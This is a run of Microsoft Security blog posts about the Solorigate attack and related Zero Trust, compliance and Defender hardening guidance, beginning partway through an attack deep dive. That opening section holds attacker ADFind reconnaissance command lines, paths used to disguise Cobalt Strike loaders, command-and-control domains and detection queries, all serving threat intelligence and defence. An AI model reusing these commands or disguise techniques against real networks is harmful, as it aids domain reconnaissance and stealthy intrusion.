Steal or Forge Kerberos Tickets: Kerberoasting Attackers executed multiple times the legitimate ADFIND tool to enumerate domains, remote systems, accounts and to discover trust between federated domains. The tool was executed with a renamed filename chosen to blend into the existing environment or mimicking existing network services. [renamed-adfind].exe -h [internal domain] -sc u:[user] > .\\[machine]\[file].[log|txt]

[renamed-adfind].exe -sc u:* > .\[folder]\[file].[log|txt]

[renamed-adfind].exe -h [machine] -f (name=”Domain Admins”) member -list | [renamed-adfind].exe -h [machine] -f objectcategory=* > .\[folder]\[file].[log|txt]

Some examples of [renamed-adfind] observed by Microsoft and other security researchers::

SearchIndex.exe
sqlceip.exe
postgres.exe
IxNetwork.exe
csrss.exe T1482 |
Domain Trust DiscoveryT1018 |
Remote System Discovery

 

Conclusion

As we continue to gain deeper understanding of the Solorigate attack, we get a clearer picture of the skill level of the attackers and the extent of planning they put into pulling off one of the most sophisticated attacks in recent history. The combination of a complex attack chain and a protracted operation means that defensive solutions need to have comprehensive cross-domain visibility into attacker activity and provide months of historical data with powerful hunting tools to investigate as far back as necessary.

Modern attacks like Solorigate highlight the need for organizations to use advanced security solutions like Microsoft 365 Defender and Azure Sentinel and operate security response under an “assume breach” mentality. Microsoft 365 Defender harnesses the power of multiple capabilities and coordinates protection across domains to provide comprehensive defense. Azure Sentinel collects data from multiple data sources, including Microsoft 365 Defender, to connect data together and allow broad hunting for attacker activity.

In our ongoing forensic analysis of known Solorigate cases with malicious activity occurring between May and November 2020, we have in some instances seen the following relevant alerts generated by Microsoft Defender for Endpoint and Microsoft Defender for Identity. Incident responders and defenders investigating Solorigate incidents during that timeframe can refer to these alerts, alone or in combination, as potential indicators of the Solorigate activity.

Microsoft Defender for Endpoint alerts:

  • Low-reputation arbitrary code executed by signed executable
  • Suspicious ‘Atosev’ behavior was blocked
  • Suspicious Remote WMI Execution
  • A WMI event filter was bound to a suspicious event consumer

Microsoft Defender for Identity alerts:

  • User and IP address reconnaissance (SMB)
  • Suspected Kerberos SPN exposure

Figure 11. Alert raised by Microsoft Defender for Endpoint on Solorigate-related malicious activity in June 2020

The disclosure of the Solorigate attack and the investigations that followed unearthed more details and intelligence that we used to improve existing detections and build new ones. Security operations teams looking to get a comprehensive guide on detecting and investigating Solorigate can refer to Using Microsoft 365 Defender to protect against Solorigate.

Meanwhile, security administrators can use the recommendations for hardening networks against Solorigate and similar sophisticated cyberattacks outlined in Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender.

To get the latest information and guidance from Microsoft, visit https://aka.ms/solorigate.

 

Microsoft 365 Defender Research Team

Microsoft Threat Intelligence Center (MSTIC)

Microsoft Cyber Defense Operations Center (CDOC)

 

Indicators of compromise (IoCs)

Custom Cobalt Strike Beacon loader (SHA-256):

118189f90da3788362fe85eafa555298423e21ec37f147f3bf88c61d4cd46c51
1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c
1ec138f21a315722fb702706b4bdc0f544317f130f4a009502ec98345f85e4ad
2a276f4b11f47f81dd2bcb850a158d4202df836769da5a23e56bf0353281473e
327f1d94bc26779cbe20f8689be12c7eee2e390fbddb40b92ad00b1cddfd6426
3985dea8e467c56e8cc44ebfc201253ffee923765d12808aaf17db2c644c4c06
557f91404fb821d7c1e98d9f2f5296dc12712fc19c87a84602442b4637fb23d4
5cf85c3d18cd6dba8377370883a0fffda59767839156add4c8912394f76d6ef0
5f8650ca0ed22ad0d4127eb4086d4548ec31ad035c7aec12c6e82cb64417a390
674075c8f63c64ad5fa6fd5e2aa6e4954afae594e7b0f07670e4322a60f3d0cf
6ff3a4f7fd7dc793e866708ab0fe592e6c08156b1aa3552a8d74e331f1aea377
7c68f8d80fc2a6347da7c196d5f91861ba889afb51a4da4a6c282e06ef5bdb7e
915705c09b4bd108bcd123fe35f20a16d8c9c7d38d93820e8c167695a890b214
948bfdfad43ad52ca09890a4d2515079c29bdfe02edaa53e7d92858aa2dfbe4c
955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3
b348546f4c6a9bcafd81015132f09cf8313420eb653673bf3d65046427b1167f
b35e0010e0734fcd9b5952ae93459544ae33485fe0662fae715092e0dfb92ad3
b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07
be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725
c5a818d9b95e1c548d6af22b5e8663a2410e6d4ed87df7f9daf7df0ef029872e
c741797dd400de5927f8b5317165fc755d6439749c39c380a1357eac0a00f90c
c7924cc1bc388cfcdc2ee2472899cd34a2ef4414134cbc23a7cb530650f93d98
c96b7a3c9acf704189ae8d6124b5a7b1f0e8c83c246b59bc5ff15e17b7de4c84
cbbe224d9854d6a4269ed2fa9b22d77681f84e3ca4e5d6891414479471f5ca68
cdd9b4252ef2f6e64bccc91146ec5dc51d94e2761184cd0ffa9909aa739fa17e
dbd26ccb3699f426dc6799e218b91d1a3c1d08ad3006bc2880e29c755a4e2338
e60e1bb967db273b922deeea32d56fc6d9501a236856ef9a3e5f76c1f392000a
f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418
f61a37aa8581986ba600286d65bb76100fb44e347e253f1f5ad50051e5f882f5
f81987f1484bfe5441be157250b35b0a2d7991cf9272fa4eacd3e9f0dee235de

File paths for the custom Cobalt Strike Beacon loader:

C:\Windows\ms\sms\sms.dll
C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
C:\Windows\AUInstallAgent\auagent.dll
C:\Windows\apppatch\apppatch64\sysmain.dll
C:\Windows\Vss\Writers\Application\AppXML.dll
C:\Windows\PCHEALTH\health.dll
C:\Windows\Registration\crmlog.dll
C:\Windows\Cursors\cursrv.dll
C:\Windows\AppPatch\AcWin.dll
C:\Windows\CbsTemp\cbst.dll
C:\Windows\AppReadiness\Appapi.dll
C:\Windows\Panther\MainQueueOnline.dll
C:\Windows\AppReadiness\AppRead.dll
C:\Windows\PrintDialog\PrintDial.dll
C:\Windows\ShellExperiences\MtUvc.dll
C:\Windows\PrintDialog\appxsig.dll
C:\Windows\DigitalLocker\lock.dll
C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll
C:\Windows\Migration\WTR\ctl.dll
C:\Windows\ELAMBKUP\WdBoot.dll
C:\Windows\LiveKernelReports\KerRep.dll
C:\Windows\Speech_OneCore\Engines\TTS\en-US\enUS.Name.dll
C:\Windows\SoftwareDistribution\DataStore\DataStr.dll
C:\Windows\RemotePackages\RemoteApps\RemPack.dll
C:\Windows\ShellComponents\TaskFlow.dll

Cobalt Strike Beacon:

aimsecurity[.]net
datazr[.]com
ervsystem[.]com
financialmarket[.]org
gallerycenter[.]org
infinitysoftwares[.]com
mobilnweb[.]com
olapdatabase[.]com
swipeservice[.]com
techiefly[.]com

Advanced hunting queries

A collection of Advanced Hunting Queries (AHQ) related to Solorigate is located in our AHQ repository in GitHub. To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint:

Anomalous usage of 7zip

Look for anomalous usage or running process of 7zip. Run query in Microsoft Defender for Endpoint

DeviceProcessEvents
| where InitiatingProcessFileName in~(“rundll32.exe”, “dllhost.exe”) and InitiatingProcessCommandLine != “” and InitiatingProcessCommandLine !contains ” “
| extend RundllTime = Timestamp
| join DeviceProcessEvents on $left.DeviceId == $right.DeviceId
| where InitiatingProcessFileName hasprefix “7z” or InitiatingProcessCommandLine has “-mx9”
| extend DateDiff = datetime_diff(“day”, Timestamp, RundllTime)
| where DateDiff < 2

Presence of custom Cobalt Strike

Look for presence of custom cobalt strike loaders. Run query in Microsoft Defender for Endpoint

DeviceProcessEvents
| where FileName =~ “rundll32.exe”
| where InitiatingProcessIntegrityLevel in (“High”, “System”)
| where ProcessCommandLine matches regex ‘rundll32\\s+c\\:\\\\windows\\\\[a-zA-Z0-9\\.]*\\\\[a-zA-Z0-9\\\\\\.]*\\.dll\\s+[a-zA-Z_]{3,}’ matches regex @'(?i)rundll32\s+c\:\\windows(\\[^\\]+)+\.dll\s+[a-zA-Z0-9_]{3,}’

Command and control

Look for command-and-control connections. Run query in Microsoft Defender for Endpoint

DeviceNetworkEvents
| where InitiatingProcessParentFileName =~ “rundll32.exe”
| where InitiatingProcessFileName =~ “dllhost.exe” and InitiatingProcessCommandLine != “” and InitiatingProcessCommandLine !contains ” “

Look for network connections to known command and control domains. Run query in Microsoft Defender for Endpoint

DeviceNetworkEvents
| where RemoteUrl in~(‘aimsecurity.net’,
‘datazr.com’,
‘ervsystem.com’,
‘financialmarket.org’,
‘gallerycenter.org’,
‘infinitysoftwares.com’,
‘mobilnweb.com’,
‘olapdatabase.com’,
‘swipeservice.com’,
‘techiefly.com’)

 

The post Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop appeared first on Microsoft Security.

Using Zero Trust principles to protect against sophisticated attacks like Solorigate

Microsoft Malware Protection Center - Tue, 01/19/2021 - 5:30pm

The Solorigate supply chain attack has captured the focus of the world over the last month. This attack was simultaneously sophisticated and ordinary. The actor demonstrated sophistication in the breadth of tactics used to penetrate, expand across, and persist in affected infrastructure, but many of the tactics, techniques, and procedures (TTPs) were individually ordinary.

Companies operating with a Zero Trust mentality across their entire environment are more resilient, consistent, and responsive to new attacks—Solorigate is no different. As threats increase in sophistication, Zero Trust matters more than ever, but gaps in the application of the principles—such as unprotected devices, weak passwords, and gaps in multi-factor authentication (MFA) coverage can be exploited by actors.

Applying Zero Trust

Zero Trust in practical terms is a transition from implicit trust—assuming that everything inside a corporate network is safe—to the model that assumes breach and explicitly verifies the security status of identity, endpoint, network, and other resources based on all available signals and data. It relies on contextual real-time policy enforcement to achieve least privileged access and minimize risks. Automation and Machine Learning are used to enable rapid detection, prevention, and remediation of attacks using behavior analytics and large datasets.

Verify explicitly

To verify explicitly means we should examine all pertinent aspects of access requests instead of assuming trust based on a weak assurance like network location. Examine the identity, endpoint, network, and resource then apply threat intelligence and analytics to assess the context of each access request.

When we look at how attackers compromised identity environments with Solorigate, there were three major vectors: compromised user accounts, compromised vendor accounts, and compromised vendor software. In each of these cases, we can clearly see where the attacker exploited gaps in explicit verification.

  • Where user accounts were compromised, known techniques like password spray, phishing, or malware were used to compromise user credentials and gave the attacker critical access to the customer network. On-premises identity systems are more vulnerable to these common attacks because they lack cloud-powered protections like password protection, recent advances in password spray detection, or enhanced AI for account compromise prevention.
  • Again, in cases where the actor succeeded, highly privileged vendor accounts lacked protections such as MFA, IP range restrictions, device compliance, or access reviews. In other cases, user accounts designated for use with vendor software were configured without MFA or policy restrictions. Vendor accounts should be configured and managed with the same rigor as used for the accounts which belong to the organization.
  • Even in the worst case of SAML token forgery, excessive user permissions and missing device and network policy restrictions allowed the attacks to progress. The first principle of Zero Trust is to verify explicitly—be sure you extend this verification to all access requests, even those from vendors and especially those from on-premises environments.

Cloud identity, like Azure Active Directory (Azure AD), is simpler and safer than federating with on-premises identity. Not only is it easier to maintain (fewer moving parts for attackers to exploit), your Zero Trust policy should be informed by cloud intelligence. Our ability to reason over more than eight trillion signals a day across the Microsoft estate coupled with advanced analytics allows for the detection of anomalies that are very subtle and only detectable in very large data sets. User history, organization history, threat intelligence, and real-time observations are an essential mechanism in a modern defense strategy. Enhance this signal with endpoint health and compliance, device compliance policies, app protection policies, session monitoring, and control, and resource sensitivity to get to a Zero Trust verification posture.

For customers that use federation services today, we continue to develop tools to simplify migration to Azure AD. Start by discovering the apps that you have and analyzing migration work using Azure AD Connect health and activity reports.

Least privileged access

Least privileged access helps ensure that permissions are only granted to meet specific business goals from the appropriate environment and on appropriate devices. This minimizes the attacker’s opportunities for lateral movement by granting access in the appropriate security context and after applying the correct controls—including strong authentication, session limitations, or human approvals and processes. The goal is to compartmentalize attacks by limiting how much any compromised resource (user, device, or network) can access others in the environment.

With Solorigate, the attackers took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had no permissions at all. Conversely, customers with good least-privileged access policies such as using Privileged Access Workstations (PAW) devices were able to protect key resources even in the face of initial network access by the attackers.

Assume breach

Our final principle is to Assume Breach, building our processes and systems assuming that a breach has already happened or soon will. This means using redundant security mechanisms, collecting system telemetry, using it to detect anomalies, and wherever possible, connecting that insight to automation to allow you to prevent, respond and remediate in near-real-time.

Sophisticated analysis of anomalies in customer environments was key to detecting this complex attack. Customers that used rich cloud analytics and automation capabilities, such as those provided in Microsoft 365 Defender, were able to rapidly assess attacker behavior and begin their eviction and remediation procedures.

Importantly, organizations such as Microsoft who do not model “security through obscurity” but instead model as though the attacker is already observing them are able to have more confidence that mitigations are already in place because threat models assume attacker intrusions.

Summary and recommendations

It bears repeating that Solorigate is a truly significant and advanced attack. However ultimately, the attacker techniques observed in this incident can be significantly reduced in risk or mitigated by the application of known security best practices. For organizations—including Microsoft—thorough application of a Zero Trust security model provided meaningful protection against even this advanced attacker.

To apply the lessons from the Solorigate attack and the principles of Zero Trust that can help protect and defend, get started with these recommendations:

  1. More than any other single step, enable MFA to reduce account compromise probability by more than 99.9 percent. This is so important, we made Azure AD MFA free for any Microsoft customer using a subscription of a commercial online service.
  2. Configure for Zero Trust using our Zero Trust Deployment Guides.
  3. Look at our Identity workbook for Solorigate.

Stay safe out there.

Alex Weinert

For more information about Microsoft Zero Trust please visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Using Zero Trust principles to protect against sophisticated attacks like Solorigate appeared first on Microsoft Security.

How IT leaders are securing identities with Zero Trust

Microsoft Malware Protection Center - Tue, 01/19/2021 - 12:00pm

The past twelve months have been a remarkable time of digital transformation as organizations, and especially digital security teams, adapt to working remotely and shifting business operations. IT leaders everywhere turned to Zero Trust approaches to alleviate the challenges of enabling and securing remote work. Using Zero Trust to secure users, data, and devices (wherever they may be) has changed from optional to a business imperative overnight.

In this short report, we surveyed IT leaders around the world to determine how they’re implementing Zero Trust practices to protect their identities and ensure their employees have secure access to resources.

  1. Most IT leaders are already using Zero Trust practices with their identity management solutions. While the majority of IT leaders have already implemented Zero Trust practices into their identity and access solution, only a monitory have moved on to more advanced controls that utilize automation and AI-based threat analysis.
  2. Multi-factor authentication (MFA) and Single Sign-On (SSO) are the most common. Additionally, a majority are analyzing risk before granting access—a critical proactive step to preventing unauthorized access to corporate resources.
  3. Identities and devices are the top priority for most organizations. With employees working outside the corporate network and increasingly using personal devices, this is no surprise. However, surprisingly, the majority of IT leaders do not rate identities as the most mature component in their Zero Trust strategy.
  4. Zero Trust is still in infancy. Despite substantial growth in Zero Trust efforts over the past twelve months, only one in ten IT leaders report feeling very confident in their Zero Trust identity management roadmap.

Read the full report for more details.

If you’re looking for how to help prevent endpoints from being the weakest link in your security strategy, check out our Zero Trust deployment guidance for identities.

To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post How IT leaders are securing identities with Zero Trust appeared first on Microsoft Security.

Simplify compliance and manage risk with Microsoft Compliance Manager

Microsoft Malware Protection Center - Thu, 01/14/2021 - 2:00pm

The cost of non-compliance is more than twice that of compliance costs. Non-compliance with the ever-increasing and changing regulatory requirements can have a significant impact on your organization’s brand, reputation, and revenue. According to a study by the Ponemon Institute and Globalscape, being compliant will cost you less compared to business disruptions, loss of revenue, and hefty fines.

Data explosion and regulatory environment

As organizations go through digital transformation, they are generating and consuming much more data than in the past to help them gain an edge over their competitors. This data is necessary to continue to stay relevant by empowering employees, engaging customers, and optimizing operations. Managing this data and the variety of devices on which it is created can be complicated, especially when it comes to ensuring compliance.

Not only is the amount of data IT must manage exploding, regulations on how that data can and should be handled are also increasing. Collecting customer and citizen data is often an integral part of how public and private sector organizations function. While there has been progress over the last few years, the challenge of maintaining and protecting personal data continues. Regulations are creating a need for the responsible usage of personal data, and the stakes are high. Not complying with regulations can result in significant fines and reduced credibility with regulators, customers, and citizens.

Manage compliance challenges

According to a recent report about the cost of compliance, there were more than 215 regulation updates a day from over 1,000 regulatory bodies all over the world, a slight decrease from the previous year. For example, enforcement of the California Consumer Privacy Act (CCPA), Brazil’s Lei Geral de Proteção de Dados (LGPD), and Thailand’s Personal Data Protection Act (PDPA) began in 2020.

Organizations face all kinds of risks, including financial, legal, people, IT, and cybersecurity risks. Below are some of the challenges we are seeing due to the dynamic nature of the compliance landscape.

  • Keeping up with constantly changing regulations is a struggle. With all the regulatory and standards bodies creating new or revising existing requirements and guidelines, keeping up to date is time and resource-intensive.
  • Point-in-time assessments create a digital blind spot. Many organizations rely on point-in-time assessments, like annual audits. Unfortunately, they can go out of date quickly and expose the organization to potential risks until the next assessment is done. Organizations are looking for ways to improve integration and create near real-time assessments to control risks caused by digital assets.
  • Inefficient collaboration and siloed knowledge lead to duplication of effort. Organizations are often challenged due to siloed knowledge concerning IT risk management. IT and security admins know the technology solutions but find regulations difficult to understand. Contrast that with compliance, privacy, and legal teams who tend to be familiar with the regulations but are not experts in the technology available to help them comply. In addition, many organizations start their compliance journey using general-purpose tools like Microsoft Excel and try to track compliance manually, but quickly outgrow this approach because of the complexities of managing compliance activities.
  • Complexity across IT environments hinders adoption. Understanding how to integrate the many solutions available and configure each one to minimize compliance risks can be difficult. This is especially true in organizations with solutions sourced from multiple vendors that often have overlapping functionality. Decision-makers want simple step-by-step guidance on how to make the tools work for the industry standards and regulations they are subject to.
Simplify compliance with Microsoft Compliance Manager

Microsoft Compliance Manager is the end-to-end compliance management solution included in the Microsoft 365 compliance center. It empowers organizations to simplify compliance, reduce risk, and meet global, industry, and regional compliance regulations and standards. Compliance Manager translates complicated regulations, standards, company policies, and other desired control frameworks into simple language, maps regulatory controls and recommended improvement actions, and provides step-by-step guidance on how to implement those actions to meet regulatory requirements. Compliance Manager helps customers prioritize work by associating a score with each action, which accrues to an overall compliance score. Compliance Manager provides the following benefits:

  • Pre-built assessments for common industry and regional standards and regulations, and custom assessments to meet your unique compliance needs. Assessments are available depending on your licensing agreement.
  • Workflow functionality to help you efficiently complete risk assessments.
  • Detailed guidance on actions you can take to improve your level of compliance with the standards and regulations most relevant for your organization.
  • Risk-based compliance score to help you understand your compliance posture by measuring your progress completing improvement actions.
Shared responsibility

For organizations running their workloads only on-premises, they are 100 percent responsible for implementing the controls necessary to comply with standards and regulations. With cloud-based services, such as Microsoft 365, that responsibility becomes shared between your organization and the cloud provider, although is ultimately responsible for the security and compliance of their data.

Microsoft manages controls relating to physical infrastructure, security, and networking with a software as a service (SaaS) offering like Microsoft 365. Organizations no longer need to spend resources building datacenters or setting up network controls. With this model, organizations manage the risk for data classification and accountability. And risk management is shared in certain areas like identity and access management. The chart below is an example of how responsibility is shared between the cloud customer and cloud provider with various on-premises and online services models.

Figure 1: Shared responsibility model

Apply a shared responsibility model

Because responsibility is shared, transitioning your IT infrastructure from on-premises to a cloud-based service like Microsoft 365 significantly reduces your burden of complying with regulations. Take the United States National Institute of Standards and Technology’s NIST 800-53 regulation as an example. It is one of the largest and most stringent security and data protection control frameworks used by the United States government and large organizations. If your organization were adhering to this standard and using Microsoft 365, Microsoft would be responsible for managing more than 75 percent of the 500 plus controls. You would only need to focus on implementing and maintaining the controls not managed by Microsoft. Contrast that situation with one where your organization was running 100 percent on-premises. In that case, your organization would need to implement and maintain all the NIST 800-53 controls on your own. The time and cost savings managing your IT portfolio under the shared responsibility model can be substantial.

Figure 2: NIST examples of shared responsibilities

Assess your compliance with a compliance score

Compliance Manager helps you prioritize which actions to focus on to improve your overall compliance posture by calculating your compliance score. The extent to which an improvement action impacts your compliance score depends on the relative risk it represents. Points are awarded based on whether the action risk level has been identified as a combination of the following action characteristics:

  • Mandatory or discretionary.
  • Preventative, detective, or corrective.

Your compliance score measures your progress towards completing recommended actions that help reduce risks around data protection and regulatory standards. Your initial score is based on the Data Protection Baseline, which includes controls common to many industry regulations and standards. While the Data Protection Baseline is a good starting point for assessing your compliance posture, a compliance score becomes more valuable once you add assessments relevant to the specific requirements of your organization. You can also use filters to view the portion of your compliance score based on criteria that includes one or more solutions, assessments, and regulations. More on that later.

The image below is an example of the Overall compliance score section of the Compliance Manager dashboard. Notice that even though the number under Your points achieved is zero, the Compliance Score is 75 percent. This demonstrates the value of the shared responsibility model. Since Microsoft has already implemented all the actions it is responsible for, a substantial portion of what is recommended to achieve compliance is already complete even though you have yet to take any action.

Figure 3: Compliance Score from Microsoft Compliance Manager

For more information on Microsoft Compliance Manager, please visit the Microsoft Compliance Manager documentation. To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Simplify compliance and manage risk with Microsoft Compliance Manager appeared first on Microsoft Security.

Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender

Microsoft Malware Protection Center - Thu, 01/14/2021 - 12:00pm

­Even as investigations into the sophisticated attack known as Solorigate are still underway, details and insights about the tools, patterns, and methods used by the attackers point to steps that organizations can take to improve their defenses against similar attacks. Solorigate is a cross-domain compromise—comprehensive visibility and coordinated defense are critical in responding to the attack. The same unified end-to-end protection is key to increasing resilience and preventing such attacks.

This blog is a guide for security administrators using Microsoft 365 Defender and Azure Defender to identify and implement security configuration and posture improvements that harden enterprise environments against Solorigate’s attack patterns.

This blog will cover:

The recommendations on this blog are based on our current analysis of the Solorigate attack. While this threat continues to evolve and investigations continue to unearth more information, we’re publishing these recommendations to help customers apply improvements today. To get the latest information and guidance from Microsoft, visit https://aka.ms/solorigate. Security operations and incident response teams looking for detection coverage and hunting guidance can refer to https://aka.ms/detect_solorigate.

What the Solorigate attack tells us about the state of cyberattacks

Solorigate is a complex, multi-stage attack that involved the use of advanced attacker techniques across multiple environments and multiple domains to compromise high-profile targets. To perpetrate this sophisticated attack, the attackers performed the steps below, which are discussed in detail in this blog:

  1. Compromise a legitimate binary belonging to the SolarWinds Orion Platform through a supply-chain attack
  2. Deploy a backdoor malware on devices using the compromised binary to allow attackers to remotely control affected devices
  3. Use the backdoor access on compromised devices to steal credentials, escalate privileges, and move laterally across on-premises environments to gain the ability to create SAML tokens
  4. Access cloud resources to search for accounts of interest and exfiltrate emails

Figure 1. High-level end-to-end Solorigate attack chain

As its intricate attack chain shows, Solorigate represents a modern cyberattack conducted by highly motivated actors who have demonstrated they won’t spare resources to get to their goal. The collective intelligence about this attack shows that, while hardening individual security domains is important, defending against today’s advanced attacks necessitates a holistic understanding of the relationship between these domains and how a compromise in one environment can be a jump-off point to another.

The Microsoft Defender for Endpoint threat analytics reports published in Microsoft 365 security center enable customers to trace such cross-domain threats by providing end-to-end analysis of critical threats. In the case of Solorigate, Microsoft researchers have so far published two threat analytics reports, which continue to be updated as additional information becomes available:

In addition to providing detailed descriptions of the attack, TTPs, indicators of compromise (IoCs), and the all-up impact of the threat to the organization, the threat analytics reports empower security administrators to review organizational resilience against the attack and apply recommended mitigations. These mitigations and other recommended best practices are discussed in the succeeding sections. Customers who don’t have access to threat analytics can refer to a publicly available customer guidance.

Figure 2. Microsoft Defender for Endpoint threat analytics report on Solorigate attack

Protecting devices and servers

The attackers behind Solorigate gain initial access to target networks by activating backdoor codes inserted into the compromised SolarWinds binary. Protecting devices against this stage of the attack can help prevent the more damaging impact of the latter stages.

Ensure full visibility into your device estate by onboarding them to Microsoft Defender for Endpoint

In the ongoing comprehensive research into the complex Solorigate attack, one thing remains certain: full in-depth visibility into your devices is key to gaining insights on security posture, risk, and potential attack activity. Make sure all your devices are protected and monitored by Microsoft Defender for Endpoint.

Figure 3.  Status tile in the Device configuration management tab of Microsoft Defender for Endpoint, showing onboarded devices compared to the total number of devices managed via Endpoint Manager

Identify and patch vulnerable SolarWinds Orion applications

The Solorigate attack uses vulnerable versions of the SolarWinds Orion application so we recommend that you identify devices running vulnerable versions of the application and ensure they are updated to the latest version. The threat analytics report uses insights from threat and vulnerability management to identify such devices. On the Mitigations page in Threat analytics, you can view the number of devices exposed to vulnerability ID TVM-2020-0002, which we added specifically to help with Solorigate investigations:

Figure 4. The Threat analytics Mitigations page shows information on exposed devices

The new vulnerability ID TVM-2020-0002 was added to the threat and vulnerability management Weaknesses page in Microsoft Defender for Endpoint so you can easily find exposed devices that have vulnerable SolarWinds software components installed. Additional details are available in the vulnerability details pane.

Figure 5. Threat and vulnerability management vulnerability details pane for TVM-2020-0002  

Customers can also use the software inventory page in threat and vulnerability management to view the SolarWinds Orion versions present on endpoints in your environment and whether the vulnerable versions are present. Links to the threat analytics reports are provided under the Threats column. You can then assess the footprint of a specific software in your organization and identify the impacted devices without the need to run scans across the install base.

Figure 6. Threat and Vulnerability Management software inventory page displaying installed SolarWinds Orion software

Security recommendations are provided to update devices running vulnerable software versions.

Figure 7. Threat and Vulnerability Management security recommendations page

Security admins can also use advanced hunting to query, refine, and export data. The following query retrieves an inventory of the SolarWinds Orion software in your organization, organized by product name and sorted by the number of devices that have software installed:

DeviceTvmSoftwareInventoryVulnerabilities

| where SoftwareVendor == ‘solarwinds’

| where SoftwareName startswith ‘orion’

| summarize dcount(DeviceName) by SoftwareName

| sort by dcount_DeviceName desc

The following query searches threat and vulnerability management data for SolarWinds Orion software known to be affected by Solorigate:

DeviceTvmSoftwareInventoryVulnerabilities

| where CveId == ‘TVM-2020-0002’

| project DeviceId, DeviceName, SoftwareVendor, SoftwareName, SoftwareVersion

For each security recommendation you can submit a request to the IT administrator to remediate vulnerable devices. Doing this creates a security task in Microsoft Endpoint Manager (formerly Intune) that can be continuously tracked in the threat and vulnerability management Remediation page. To use this capability, you need to enable a Microsoft Endpoint Manager connection.

Figure 8. Threat and vulnerability management ‘Remediation options’ for security recommendations and ‘Remediation activities’ tracking

Implement recommended security configurations

In addition to providing vulnerability assessments, Threat and Vulnerability Management also provides security recommendation guidance and device posture assessment that help mitigate this attack. These recommendations use vulnerability data that is also present in the Solorigate threat analytics report.

Figure 9. Threat analytics Mitigation page shows secure configuration recommendations for devices exposed to Solorigate

The following security recommendations are provided in response to Solorigate:

Component  Secure configuration recommendations  Attack stage Security controls (Antivirus) Turn on real-time protection Stage 1 Security controls (Antivirus) Update Microsoft Defender Antivirus definitions to version 1.329.427.0 or later Stage 1 Security controls (Attack surface reduction) Block execution of potentially obfuscated scripts Stage 2 Security controls (Attack surface reduction) Block executable files from running unless they meet a prevalence, age, or trusted list criterion Stage 2 Security controls (Microsoft Defender SmartScreen) Set Microsoft Defender SmartScreen Microsoft Edge site and download checking to block or warn Stage 2

Applying these security controls can be accomplished using Microsoft Endpoint Manager (Intune and Configuration Manager). Refer to the following documentation for guidance on deploying and managing policies with Endpoint Manager:

Protecting on-premises and cloud infrastructure

In addition to compromising client endpoints, attackers can also activate backdoor code via the compromised SolarWinds binary installed on cloud or on-premises servers, allowing them to gain a stronger foothold in the environment.

Protect your on-premises and cloud servers

A large part of many customers’ infrastructure are virtual machines. Azure Defender helps security professionals protect cloud workloads spanning virtual machines, SQL, storage, containers, IoT, Azure network layer, Azure Key Vault, and more.

As mentioned earlier, one of the key actions that should be taken to help prevent Solorigate and similar attacks is to ensure that all devices are protected and monitored by Microsoft Defender for Endpoint. Deploying Azure Defender for Servers enables Defender for Endpoint for your virtual machines to provide comprehensive detection coverage across the Solorigate attack chain. Azure Defender’s integrated vulnerability assessment solution for Azure and hybrid machines can also help address the Solorigate attack by providing visibility into vulnerability assessment findings in Azure Security Center.

Enable additional infrastructure protection and monitoring

To help provide additional in-depth defenses against Solorigate, Azure Defender recently introduced new protection modules for Azure resources. Enabling these protections can improve your visibility into malicious activities and increase the number of Azure resources protected by Azure Defender.

Azure Defender for Resource Manager allows you to continuously monitor all Azure resource management operations and breadth in protection, which includes the ability to detect attempts to exclude known malicious files by the VM Antimalware extension and other suspicious activities that could limit antimalware protection on Azure VMs.

In addition, Azure Defender for DNS ensures that all DNS queries from Azure resources using Azure DNS, including communication with malicious domains used in the Solorigate attack, are monitored, and helps identify Solorigate activity across any of your Azure cloud resources. This helps prevent the malicious Solorigate DLL from being able to connect to a remote network infrastructure to prepare for possible second-stage payloads.

Protect your Active Directory and AD FS infrastructure

After gaining access, attackers may attempt to steal credentials, escalate privileges, and move laterally in the environment. Having complete visibility into your Active Directory, either completely on-premises or hosted in IaaS machines, is key in detecting these attacks and identifying opportunities to harden security posture to prevent them.

In hybrid environments, make sure that Microsoft Defender for Identity sensor components are deployed on all your Domain Controllers and Active Directory Federation Services (AD FS) servers. Microsoft Defender for Identity not only detects malicious attempts to compromise your environment but also builds profiles of your on-premises identities for proactive investigations and provides you with built-in security assessments. We recommend prioritizing the deployment of Microsoft Defender for Identity sensors and using the “Unmonitored domain controllers” security assessment, which lists any detected domain controllers in your environment that are unmonitored. (Note: this capability can monitor your environment only after deploying at least one sensor on a domain controller.)

Figure 10. Unmonitored domain controllers security assessment in the Microsoft Cloud App Security portal

Protecting Microsoft 365 cloud from on-premises attacks

The end goal of the attackers behind Solorigate is to gain access to a target organization’s cloud environment, search for accounts of interest, and exfiltrate emails. From a compromised device, they move laterally across the on-premises environment, stealing credentials and escalating privileges until they can gain the ability to create SAML tokens that they then use to access the cloud environment. Protecting cloud resources from on-premises attack can prevent the attackers from successfully achieving their long game.

Implement recommended security configurations to harden cloud posture

Further best practices and recommendations to reduce the attack surface and protect the cloud from on-premise compromise can be found in our protecting Microsoft 365 cloud from on-premises attacks blog.

Implement conditional access and session control to secure access to cloud resources

In addition to hardening the individual surfaces to disrupt and prevent the attack, extending policies to implement zero trust and access controls is key in preventing compromised or unhealthy devices from accessing corporate assets, as well as governing cloud access from compliant devices.

Enable conditional access policies

